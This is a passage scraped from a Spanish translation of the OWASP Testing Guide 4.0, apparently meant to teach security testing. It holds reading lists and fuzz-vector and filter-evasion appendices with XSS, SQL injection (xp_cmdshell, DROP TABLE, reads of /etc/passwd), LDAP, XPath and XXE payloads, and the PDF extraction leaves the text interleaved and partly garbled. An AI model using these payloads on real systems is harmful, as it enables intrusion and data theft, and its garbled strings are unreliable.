Software Assurance: An Overview of Current Practices:
Gestin de Requisitos safecode.org
Rational Requisite Pro: ibm.com
Software Security Testing: Software Assurance Pocket guide Series:
Mirroring del Sitio Development, Volume III: buildsecurityin.us-cert.gov
wget: gnu.org
curl: curl.haxx.se Use Cases: Just the FAQs and Answers: ibm.com
Sam Spade: samspade.org
Xenus Link Sleuth: home.snafu.de Libros Blancos
The Art of Software Security Testing: Identifying Software Security
Gua de pruebas OWASP Apndice B: Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin,
published by Addison: Wesley, ISBN 0321304861 (2006)
Lecturas sugeridas
Building Secure Software: How to Avoid Security Problems the

Libros Blancos
Right Way, by Gary McGraw and John Viega, published by Addison-Wesley
The Economic Impacts of Inadequate Infrastructure for Software Pub Co, ISBN 020172152X (2002) -
Testing: nist.gov buildingsecuresoftware.com
Improving Web Application Security: Threats and Countermeasures: The Ethical Hack: A Framework for Business Value Penetration
msdn.microsoft.com Testing, By James S. Tiller, Auerbach Publications, ISBN 084931609X (2005)
NIST Publications: csrc.nist.gov + Versin online disponible en: books.google.com

338
Exploiting Software: How to Break Code, by Gary McGraw and Greg
Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958 (2004): Secure Coding: Principles and Practices, by Mark Graff and Kenneth
exploitingsoftware.com
R. Van Wyk, published by OReilly, ISBN 0596002424 (2003):
securecoding.org
The Hackers Handbook: The Strategy behind Breaking into and
Defending Networks, By Susan Young, Dave Aitel, Auerbach Publications,

ISBN: 0849308887 (2005) Secure Programming for Linux and Unix HOWTO, David Wheeler
(2004): dwheeler.com
+ Versin online disponible en: books.google.com
+ Versin online: dwheeler.com
Hacking Exposed: Web Applications 3, by Joel Scambray, Vinvent Liu, Caleb

Sima, published by McGraw-Hill Osborne Media, ISBN 007222438X (2010):
webhackingexposed.com Securing Java, by Gary McGraw, Edward W. Felten, published by
Wiley, ISBN 047131952X (1999): securingjava.com
The Web Application Hackers Handbook: Finding and Exploiting
Security Flaws, 2nd Edition - published by Dafydd Stuttard, Marcus Pinto, ISBN Software Security: Building Security In, by Gary McGraw, published
9781118026472 (2011)
by Addison-Wesley Professional, ISBN 0321356705 (2006)
How to Break Software Security, by James Whittaker, Herbert H.

Software Testing In The Real World (Acm Press Books) by Edward
Thompson, published by Addison Wesley, ISBN 0321194330 (2003)
Kit, published by Addison-Wesley Professional, ISBN 0201877562 (1995)
How to Break Software: Functional and Security Testing of Web

Software Testing Techniques, 2nd Edition, By Boris Beizer,
Applications and Web Services, by Make Andrews, James A. Whittaker,
published by Pearson Education Inc., ISBN 0321369440 (2006) International Thomson Computer Press, ISBN 9781593273880
The Tangled Web: A Guide to Securing Modern Web Applications, by Michael

Zalewski, published by No Starch Press Inc., ISBN 047131952X (2011)
Innocent Code: A Security Wake-Up Call for Web Programmers,
The Unified Modeling Language A User Guide by Grady Booch, James
by Sverre Huseby, published by John Wiley & Sons, ISBN 0470857447(2004): Rumbaugh, Ivar Jacobson, published by Addison-Wesley Professional, ISBN
innocentcode.thathost.com 0321267974 (2005)
+ Online version available at: books.google.com The Unified Modeling Language User Guide, by Grady Booch, James
Rumbaugh, Ivar Jacobson, Ivar published by Addison-Wesley Professional, ISBN
0-201-57168-4 (1998)
Mastering the Requirements Process, by Suzanne Robertson and Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast,
by Paco Hope, Ben Walther, published by OReilly, ISBN 0596514832 (2008)
James Robertson, published by Addison-Wesley Professional, ISBN 0201360462
Writing Secure Code, by Mike Howard and David LeBlanc, published by

+ Online version available at: books.google.com Microsoft Press, ISBN 0735617228 (2004): microsoft.com

339
OWASP Appsec Tutorial Series: owasp.org
Pginas Web tiles SecurityTube: securitytube.net
Build Security In: buildsecurityin.us-cert.gov Videos by Imperva: imperva.com
Build Security In - Security-Specific Bibliography:
buildsecurityin.us-cert.gov Aplicaciones Web deliberadamente inseguras
CERT Secure Coding: cert.org OWASP Vulnerable Web Applications Directory Project: owasp.org
CERT Secure Coding Standards: securecoding.cert.org BadStore: badstore.net
Exploit and Vulnerability Databases: buildsecurityin.us-cert.gov Damn Vulnerable Web App: blog.dewhurstsecurity.com
Google Code University - Web Security: developers.google.com
McAfee Foundstone Publications: mcafee.com Hacme Series from McAfee:
McAfee Resources Library: mcafee.com + Hacme Travel: mcafee.com
McAfee Free Tools: mcafee.com + Hacme Bank: mcafee.com
OASIS Web Application Security (WAS) TC: oasis-open.org + Hacme Shipping: mcafee.com
Open Source Software Testing Tools: opensourcetesting.org + Hacme Casino: mcafee.com
OWASP Security Blitz: owasp.org + Hacme Books: mcafee.com
OWASP Phoenix/Tool: owasp.org
SANS Internet Storm Center (ISC): isc.sans.edu Moth: bonsai-sec.com
The Open Web Application Application Security Project (OWASP: Mutillidae: irongeek.com
owasp.org Stanford SecuriBench: suif.stanford.edu
Pentestmonkey - Pen Testing Cheat Sheets: pentestmonkey.net Vicnum: vicnum.sourceforge.net and owasp.org
Secure Coding Guidelines for the .NET Framework 4.5: WebGoat: owasp.org
msdn.microsoft.com WebMaven (better known as Buggy Bank): mavensecurity.com
Security in the Java platform: docs.oracle.com
System Administration, Networking, and Security Institute (SANS): Gua de pruebas de OWASP Apndice C: Vectores Fuzz
sans.org Los siguientes son vectores fuzzing que se pueden utilizar con
WebScarab, JBroFuzz, WSFuzzer, ZAP u otro fuzzer. Fuzzing es el enfoque
Technical INFO - Making Sense of Security: technicalinfo.net del "fregadero de la cocina" en ingls: "kitchen sink" para probar la
respuesta de una aplicacin al parmetro manipulacin. En general, se
Web Application Security Consortium: webappsec.org buscan condiciones de error que se generan en una aplicacin como
resultado de fuzzing. Esta es la parte sencilla de la fase de
Web Application Security Scanner List : projects.webappsec.org descubrimiento. Una vez que el error ha sido descubierto, se requiere
habilidad para identificar y explotar una vulnerabilidad potencial.
Web Security - Articles: acunetix.com
Categoras fuzz
Videos

340
En el caso de protocolo de red sin estado fuzzing (como HTTP (S)),
existen dos grandes categoras:
El resto de este apndice presenta una serie de categoras de vectores
fuzz.
Recursive fuzzing (ocultamiento recursivo)
Replacive fuzzing (Ocultamiento por reemplazo) Cross Site Scripting (XSS)
Para detalles en XSS: Cross-site Scripting (XSS)
Examinamos y definimos cada categora en las subsecciones que siguen. >><script>alert(XSS)</script>&
><STYLE>@importjavascript:alert(XSS);</STYLE>
Ocultamiento recursivo >><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26

%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26
El ocultamiento recursivo se puede definir como el proceso de difuminar %23x3a;
una parte de una solicitud por iteracin, a travs de todas las posibles
combinaciones de un sistema alfabtico. Consideremos el caso de:
http://www.example.com/8302fa3b alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26qu
ot;)>
Al seleccionar "8302fa3b" como una parte de la solicitud para ser

difuminada contra el sistema alfabtico hexadecimal (es decir, >%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
{0,1,2,3,4,5,6,7,8,9, a, b, c, d, e , f}), cae bajo la categora de ocultamiento
recursivo. Esto generara un total de 16 ^ 8 solicitudes de la forma: %uff1cscript%uff1ealert(XSS)%uff1c/script%uff1e
http://www.example.com/00000000 >
... >
http://www.example.com/11000fff ;!--<XSS>=&{()}
... <IMG SRC=javascript:alert(XSS);>
<IMG SRC=javascript:alert(XSS)>
Ocultamiento por reemplazo <IMG SRC=JaVaScRiPt:alert(XSS)>
El ocultamiento por reemplazo se puede definir como el proceso de <IMG SRC=JaVaScRiPt:alert("XSS<WBR>")>

difuminar parte de una solicitud al reemplazarla por un valor
establecido. Este valor se conoce como vector fuzz. En el caso de: <IMGSRC=java&<WBR>#115;cri&#
112;&<WBR>#116;:a
http://www.example.com/8302fa3b
le&<WBR>#114;t('X&#83<WBR>;S&
#39;&#41>
La realizacin de pruebas de Cross Site Scripting (XSS) mediante el envo
de los siguientes vectores fuzz: <IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115
&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0
http://www.example.com/>><script>alert(XSS)</script>&
000058
http://www.example.com/;!--<XSS>=&{()}
&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0
000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#00000
39&#0000041>
Esta es una forma de ocultamiento por reemplazo. En esta categora, el
nmero total de solicitudes depende del nmero de vectores fuzz
especificados.

341
<IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x envuelven el suministro de lenguaje de formato especfico de fichas, para ejecutar
70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28 cdigos arbitrarios o inhabilitar un programa. Fuzzing para este tipo de errores tiene
como objetivo comprobar la entrada del usuario sin filtrar.
&<WBR>#x27&#x58&#x53&#x53&#x27&#x29>
Una excelente introduccin a travs de FSE se puede encontrar en el documento

<IMG SRC=jav ascript:alert(<WBR>XSS);> titulado USENIX: Deteccin de formato de cadena de vulnerabilidades con Tipo
Calificadores.
<IMG SRC=jav
ascript:alert(<WBR>XSS);>
<IMG SRC=jav ascript:alert(<WBR>XSS);>
Tenga en cuenta que el intento de cargar un archivo de definicin de este tipo
dentro de una aplicacin fuzzer puede potencialmente causar que la aplicacin se
bloquee
Desbordamiento de bfer y de error de formato de cadena
%s%p%x%d
Buffer Overflows (BFO) (desbordamiento de bfer)
.1024d
Un desbordamiento de memoria o un ataque de corrupcin de memoria
es una condicin de programacin que permite el desbordamiento de %.2049d
datos vlidos, ms all de su lmite de almacenamiento preubicado en la
memoria. %p%p%p%p
%x%x%x%x
Para ms detalles sobre los desbordamientos de memoria: Pruebas de %d%d%d%d

desbordamiento del bfer
%s%s%s%s
%99999999999s
Tenga en cuenta que el intento de cargar un archivo de definicin de este
tipo dentro de una aplicacin fuzzer puede potencialmente causar que la %08x
aplicacin se bloquee.
%%20d
A x5
%%20n
A x 17
%%20x
A x 33
%%20s
A x 65
%s%s%s%s%s%s%s%s%s%s
A x 129
%p%p%p%p%p%p%p%p%p%p
A x 257
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%
A x 513 a%C%S%08x%%
A x 1024 %s x 129
A x 2049
A x 4097 Desbordamientos de nmeros enteros (INT)
A x 8193 Los errores de desbordamiento de nmeros enteros se producen cuando un

programa no tiene en cuenta el hecho de que una operacin aritmtica puede
A x 12288
resultar en una cantidad ya sea mayor que el valor mximo de un tipo de datos o
menor de su valor mnimo. Si un evaluador puede hacer que el programa realice tal
Errores de cadenas de formato (FSE)
asignacin de la memoria, el programa puede ser potencialmente vulnerable a un
ataque de desbordamiento de bfer.
Los ataques por cadenas de formato son una clase de vulnerabilidades que

342
(||6)
-1 OR 1=1--
0 OR 1=1
0x100 OR 1=1
0x1000 ; OR 1=1
0x3fffffff %22+or+isnull%281%2F0%29+%2F*
0x7ffffffe %27+OR+%277659%27%3D%277659
0x7fffffff %22+or+isnull%281%2F0%29+%2F*
0x80000000 %27+--+
0xfffffffe or 1=1--
0xffffffff or 1=1--
0x10000 or 1=1 /*
0x100000 or 1=1--
Inyeccin SQL or a=a
Este ataque puede afectar a la capa de base de datos de una aplicacin y or a=a
normalmente est presente cuando la entrada del usuario no est filtrada
para declaraciones SQL. ) or (a=a
Admin OR
Para ms detalles sobre Pruebas de inyeccin de SQL: Pruebasde %20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--

inyeccin SQL
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
La inyeccin SQL se clasifica en las siguientes dos categoras,
dependiendo de la exposicin de la informacin de base de datos (pasiva)
o de la alteracin de la informacin de base de datos (activa):
having 1=1--
having 1=1--
Inyeccin S L Pasiva (Passive SQL Injection)
group by userid having 1=1--
Inyeccin S L Activa ( Active S L Injection)
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects
WHERE name = tablename)--
Las declaraciones de inyeccin SQL activas pueden tener un efecto or 1 in (select @@version)--
perjudicial en la base de datos subyacente si se ejecutan con xito.
union all select @@version--
OR unusual = unusual
Inyeccin SQL Pasiva (SQP)
OR something = some+thing
||(elt(-3+5,bin(15),ord(10),hex(char(45))))
OR text = Ntext
||6
OR something like some%
||6
OR 2 > 1

343
OR text > t exec sp_addsrvrolemember name , sysadmin
OR whatever in (whatever) INSERT INTO mysql.user (user, host, password) VALUES (name, localhost,
PASSWORD(pass123))
OR 2 BETWEEN 1 and 3
GRANT CONNECT TO name; GRANT RESOURCE TO name;
or username like char(37);
INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) +
union select * from users where login = char(114,111,111,116); char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
union select + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)
Password:*/=1--
UNI/**/ON SEL/**/ECT Inyeccin LDAP
; EXECUTE IMMEDIATE SEL || ECT US || ER para detalles de la inyeccin LDAP: Prueba de inyeccin LDAP
; EXEC (SEL + ECT US + ER) |
/**/OR/**/1/**/=/**/1 !
or 1/* (
+or+isnull%281%2F0%29+%2F* )
%27+OR+%277659%27%3D%277659 %28
%22+or+isnull%281%2F0%29+%2F* %29
%27+--+&password= &
; begin declare @var varchar(8000) set @var=: select %26

@var=@var++login+/+password+ from users where login >
%21
@var select @var as var into temp end --
%7C
*|
and 1 in (select var from temp)--
%2A%7C
union select 1,load_file(/etc/passwd),1,1,1;
*(|(mail=*))
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
%2A%28%7C%28mail%3D%2A%29%29
and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
Inyeccin SQL Activa (SQI)
*()|%26
; exec master..xp_cmdshell ping 10.10.1.2--
admin*
CREATE USER name IDENTIFIED BY pass123
admin*)((|userPassword=*)
CREATE USER name IDENTIFIED BY pass123 TEMPORARY
TABLESPACE temp DEFAULT TABLESPACE users; *)(uid=*))(|(uid=*
; drop table temp --
exec sp_addlogin name , password Inyeccin XPATH

344
Para detalles de la Inyeccin XPATH: Prueba de inyeccin XPath otra lengua conocida) en bytes. Un ejemplo de un esquema de codificacin
de caracteres utilizado es el Cdigo Estndar Americano para
+or+1=1 Intercambio de Informacin (ASCII) que utiliz inicialmente cdigos de 7
bits. Ejemplos ms recientes de los esquemas de codificacin seran las
+or+= normas estndar Unicode UTF-8 y UTF-16 de la industria de
computacin.
x+or+1=1+or+x=y
/
En el espacio de seguridad de la aplicacin, y debido a la gran cantidad de
// esquemas de codificacin disponibles, la codificacin de caracteres tiene
un mal uso popular. Est siendo utilizada para la codificacin de
//* secuencias de inyeccin maliciosas en una manera que las ofusca. Esto
puede conducir a la desviacin del ingreso de filtros de validacin, o a
*/* sacar ventaja de las formas particulares en que los navegadores muestran
el texto codificado.
@*
count(/child::node())
Codificacin de entrada - Evasin de filtro
x+or+name()=username+or+x=y
Las aplicaciones web suelen emplear diferentes tipos de mecanismos de
filtro de entrada para limitar las entradas que pueden ser enviadas por el
usuario. Si estos filtros de entrada no se aplican lo suficientemente bien,
Inyeccin XML es posible deslizar uno o dos caracteres a travs de estos filtros. Por
ejemplo, a / puede ser representado como 2F (hex) en ASCII, mientras
Los detalles de la Inyeccin XML estn aqu: Prueba de inyeccin XML que el mismo carcter (/) se codifica como C0 AF en Unicode (secuencia 2
byte). Por lo tanto, es importante que el filtrado de control de entrada
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
tenga en cuenta el esquema de codificacin utilizado. Si se encuentra que
el filtro est detectando slo inyecciones codificadas UTF-8, se puede
<?xml version=1.0 encoding=ISO-8859-
emplear un esquema de codificacin diferente para evitar este filtro.
1?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(gotcha);<![CDATA[<
]]>/SCRIPT<![CDATA[>]]></foo> Codificacin de salida - Servidor y Navegador de Consenso
<?xml version=1.0 encoding=ISO-8859-1?><foo><![CDATA[ or 1=1 or Los navegadores web deben estar conscientes del esquema de
=]]></foof> codificacin utilizado para mostrar coherentemente una pgina web.
Idealmente, esta informacin debe ser proporcionada al navegador en el
<?xml version=1.0 encoding=ISO-8859-1?><!DOCTYPE foo [<!ELEMENT encabezado HTTP ("Content-Type"), como se muestra a continuacin:
foo ANY><!ENTITY xxe SYSTEM file://c:/boot.ini>]><foo>&xee;</foo>
Content-Type: text/html; charset=UTF-8
<?xml version=1.0 encoding=ISO-8859-1?><!DOCTYPE foo [<!ELEMENT
foo ANY><!ENTITY xxe SYSTEM file:///etc/passwd>]><foo>&xee;</foo>
<?xml version=1.0 encoding=ISO-8859-1?><!DOCTYPE foo [<!ELEMENT o a travs de la etiqueta HTML META (META HTTP-E UIV), como se
foo ANY><!ENTITY xxe SYSTEM file:///etc/shadow>]><foo>&xee;</foo> muestra a continuacin:
<?xml version=1.0 encoding=ISO-8859-1?><!DOCTYPE foo [<!ELEMENT <META http-equiv=Content-Type content=text/html; charset=ISO-8859-1>

foo ANY><!ENTITY xxe SYSTEM file:///dev/random>]><foo>&xee;</foo>
Es a travs de estas declaraciones de codificacin de caracteres que el

Gua de pruebas de OWASP Apndice D: navegador comprende qu conjunto de caracteres utilizar para convertir
los bytes a caracteres. Tenga en cuenta que el tipo de contenido
Inyeccin codificada mencionado en el encabezado HTTP tiene prioridad sobre la declaracin
de etiqueta META.
Antecedentes
La codificacin de caracteres es el proceso de mapeado de caracteres,

nmeros y otros smbolos a un formato estndar. Tpicamente, esto se CERT lo describe aqu de la siguiente forma:
hace para crear un mensaje listo para su transmisin entre el emisor y el
receptor. En trminos simples, es la conversin de caracteres (que Muchas pginas web dejan la codificacin de caracteres (parmetro
pertenecen a diferentes idiomas como el ingls, chino, griego o cualquier "charset" en HTTP) como no definida. En versiones anteriores de HTML y

345
HTTP, se supona que la codificacin de caracteres era por defecto a la
norma ISO-8859-1 si no se defina. De hecho, muchos navegadores tenan
un valor predeterminado diferente, por lo que no era posible confiar en el <IMG SRC=javascript:alert(&#34 ;XSS&#34 ;)> (Numeric reference)
valor por defecto si era ISO-8859-1. La versin 4 HTML legitima esto - si
no se especifica la codificacin de caracteres, cualquier codificacin de
caracteres puede ser utilizada.
Lo anterior utiliza entidades HTML para construir la cadena de inyeccin.
La codificacin de entidades HTML se utiliza para mostrar los caracteres
que tienen un significado especial en HTML. Por ejemplo, '>' funciona
Si el servidor web no especifica qu codificacin de caracteres est en como un parntesis de cierre para una etiqueta HTML. Con el fin de
uso, no puede decir qu caracteres no especificados son especiales. Las mostrar en realidad este carcter en la pgina web de las entidades de
pginas web con caracteres no especificados codifican la mayor parte del caracteres HTML, ste debe ser insertado en la pgina del origen. Las
tiempo, porque la mayora de los grupos de caracteres asignan los inyecciones mencionadas anteriormente son una forma de codificacin.
mismos caracteres a los valores de bytes por debajo de 128. Pero, cul Hay muchas otras formas en las que una cadena se puede codificar
de los valores por encima de 128 son especiales? Algunos esquemas de (ofuscar) con el fin de eludir el filtro anterior.
codificacin de caracteres de 16 bits tienen representaciones de varios
bytes adicionales para caracteres especiales como "<". Algunos
navegadores reconocen esta codificacin alternativa y actan en
consecuencia. Este es un comportamiento "correcto", pero hace que los Codificacin Hex
ataques maliciosos mediante secuencias de comandos sean mucho ms
difciles de prevenir. El servidor simplemente no sabe qu secuencias de Hex, abreviatura de hexadecimal, es un sistema de numeracin en base a
bytes representan los caracteres especiales 16, es decir, que tiene 16 valores diferentes de 0 a 9 y de A a F para
representar diversos caracteres. La codificacin hexadecimal es otra
forma de ofuscacin que a veces se utiliza para eludir los filtros de
validacin de entrada. Por ejemplo, la versin hexagonal codificada de la
Por lo tanto, en caso de no recibir informacin del carcter codificado cadena <img src = javascript: alert ( 'XSS')> es
desde el servidor, el navegador puede intentar "adivinar" el esquema de
codificacin o volver a un esquema predeterminado. En algunos casos, el
usuario establece explcitamente la codificacin por defecto en el
navegador a un esquema diferente. Cualquier discrepancia o no <IMG
coincidencia en el esquema de codificacin utilizado por la pgina web SRC=%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74
(servidor) y el navegador, puede hacer que el navegador interprete la %28%27%58%53%53%27%29>
pgina de una manera inesperada o no deseada.
Una variacin de la cadena anterior es la siguiente. Puede ser utilizada en

Inyecciones codificadas caso de que '%' est siendo filtrada:
Todos los escenarios dados a continuacin forman solamente un <IMG

subconjunto de la ofuscacin de las diversas maneras que se pueden dar SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3
para eludir los filtros de entrada. Adems, el xito de las inyecciones A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#
codificadas depende del navegador en uso. Por ejemplo, las inyecciones x29>
US-ASCII fueron previamente codificadas con xito slo en el navegador
IE, pero no en Firefox. Por lo tanto, puede observarse que las inyecciones
codificadas, en gran medida, dependen del navegador.
Hay otros esquemas de codificacin tales como Base64 y Octal que
pueden ser utilizados para la ofuscacin.
Codificacin bsica
Considere un filtro bsico de validacin de entrada que protege contra la Aunque cada esquema de codificacin no puede trabajar cada vez, un
inyeccin de carcter de comilla simple. En este caso, la inyeccin que poco de ensayo y error, junto con manipulaciones inteligentes, sin duda
est a continuacin evitara fcilmente este filtro: revelarn la brecha en un filtro de validacin de entrada que haya sido
dbilmente construido.
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
La funcin String.fromCharCode Javascript toma los valores Unicode dados y

devuelve la cadena correspondiente. sta es una de las formas ms bsicas de La codificacin UTF-7
las inyecciones codificadas. Otro vector que puede ser utilizado para eludir
este filtro es: La codificacin UTF-7 de <script> alert ( 'XSS'); </ script> es la
siguienteUTF-7 Encoding
<IMG SRC=javascript:alert(&quot ;XSS&quot ;)>
346
+ADw-SCRIPT+AD4-alert(XSS);+ADw-/SCRIPT+AD4-
Para trabajar con la secuencia anterior de comandos, el navegador tiene

que interpretar la pgina web como codificada en UTF-7.
Codificacin Multi-byte
La codificacin de anchura variable es otro tipo de esquema de

codificacin de caracteres, que utiliza cdigos de duracin variable para
codificar caracteres. La codificacin de varios bytes es un tipo de anchura
variable de codificacin que utiliza un nmero variable de bytes para
representar un carcter. La codificacin multibyte se utiliza
principalmente para codificar los caracteres que pertenecen a un gran
conjunto de caracteres, por ejemplo, chino, japons y coreano.
La codificacin multibyte se ha utilizado en el pasado para eludir las

funciones de validacin de entrada estndar y para llevar a cabo este tipo
de ataque y los ataques de inyeccin SQL.
Referencias
http://en.wikipedia.org/wiki/Encode_(semiotics)
http://ha.ckers.org/xss.html
http://www.cert.org/tech_tips/malicious_code_mitigation.html
http://www.w3schools.com/HTML/html_entities.asp
http://www.iss.net/security_center/advice/Intrusions/
2000639/default.htm
http://searchsecurity.techtarget.com/expert/Knowledgebase-
Answer/0,289625,sid14_gci1212217_tax299989,00.html
http://www.joelonsoftware.com/articles/Unicode.html

347

Guia de Pruebas Owasp 4.0 Español PDF

Cargado por

Copyright:

Formatos disponibles

Guia de Pruebas Owasp 4.0 Español PDF

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Guia de Pruebas Owasp 4.0 Español PDF

Cargado por

Copyright:

Formatos disponibles

Guia de pruebas 4.

Documento Pre-release cortesa de Fernando Vela para drangonjar.org

LOS ICONOS DE ABAJO REPRESENTAN QUE

ALPHA: el contenido del libro "Calidad Alfa" es

BETA: el contenido del libro "Calidad Beta" es el

RELEASE: el contenido del libro "Calidad de

Documento Pre-release cortesa de Fernando Vela para drangonjar.org

Documento Pre-release cortesa de Fernando Vela para drangonjar.org

Prologo por Eoin Keary

Acerca de el proyecto de guia de pruebas OWASP

Acerca de el Proyecto de Seguirdad de Aplicaciones WEB Abierta

El proyecto de pruebas OWASP

Explicacin de las tcnicas de prueba

Derivar requerimientos de pruebas de seguirdad

Anlisis de datos de prueba de seguridad y reportes

El marco referencial (framework) de pruebas de OWASP

Fase1: Antes del inicio del desarrollo

Documento Pre-release cortesa de Fernando Vela para drangonjar.org

Fase 2: Durante la definicin y diseo

Fase 3: Durante el desarrollo

Fase 4: Durante la fase de implementacin

Fase 5: Mantenimiento y operaciones

Flujo de trabajo del marco de pruebas de OWASP

Pruebas de seguridad de aplicaciones WEB

Listado de validacin de pruebas

Conducir motor de busqueda para el descubrimiento y reconocimiento de fugas de informacin (OTG-INFO-001)

Huellas digitales servidor WEB (OTG-INFO-002)

Ennumere las aplicaciones en el servidor WEB (OTG-INFO-004)

Identificar puntos de entrada de la aplicacin (OTG-INFO-006)

Creacin de mapas de rutas de ejecucin a travs de la aplicacin (OTG-INFO-007)

Marco referencial para el uso de huellas digitales en aplicaciones WEB (OTG-INFO-008)

Huellas digitales aplicaciones WEB (OTG-INFO-009)

Mapa de arquitectura de la aplicacin (OTG-INFO-010)

Pruebas para gestionar la configuracin y la implementacin

Prueba configuracin Red/Infraestructura (OTG-CONFIG-001)

Prueba de la configuracin de la plataforma de aplicacines (OTG-CONFIG-002)

Prueba manejo de archivos de extensiones en busca informacin sensible (OTG-CONFIG-003)

Enumeracin Infraestructura y de Interfaces de administracin de aplicaciones (OTG-CONFIG-005)

Documento Pre-release cortesa de Fernando Vela para drangonjar.org

Prueba metodos HTTP (OTG-CONFIG-006)

Prueba HTTP Strict Transport Security (OTG-CONFIG-007)

Prueba poltica de dominio cruzado RIA (OTG-CONFIG-008)

Pruebas de Administracin de Identidad

Prueba de definicin de roles (OTG-IDENT-001)

Prueba proceso de registro de usuarios (OTG-IDENT-002)

Prueba proceso de provisin de cuentas (OTG-IDENT-003)

Pruebas para ennumeracin de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004)

Pruebas politica de nombre de usuarios debiles o sin fuerza (OTG-IDENT-005)

Pruebas para credenciales transportadas sobre canales encriptados (OTG-AUTHN-001)

Pruebas credenciales por defecto (OTG-AUTHN-002)

Pruebas para mecanismos de seguridad dbiles (OTG-AUTHN-003)

Pruebas para eludir el esquema de autenticacin (OTG-AUTHN-004)

Prueba funcionalidad recordatorio de clave (OTG-AUTHN-005)

Prueba para debilidades en la memoria del navegador (OTG-AUTHN-006)

Prueba para politica de clave dbil (OTG-AUTHN-007)

Prueba para seguirdad pregunta/respuest dbil (OTG-AUTHN-008)

Prueba para cambios de clave dbil o funcionalidades de reinio. (OTG-AUTHN-009)

Prueba para autenticacin dbil en canal alternativo (OTG-AUTHN-010)

Prueba de inclusin archivos de directorio de circulacin (OTG-AUTHZ-001)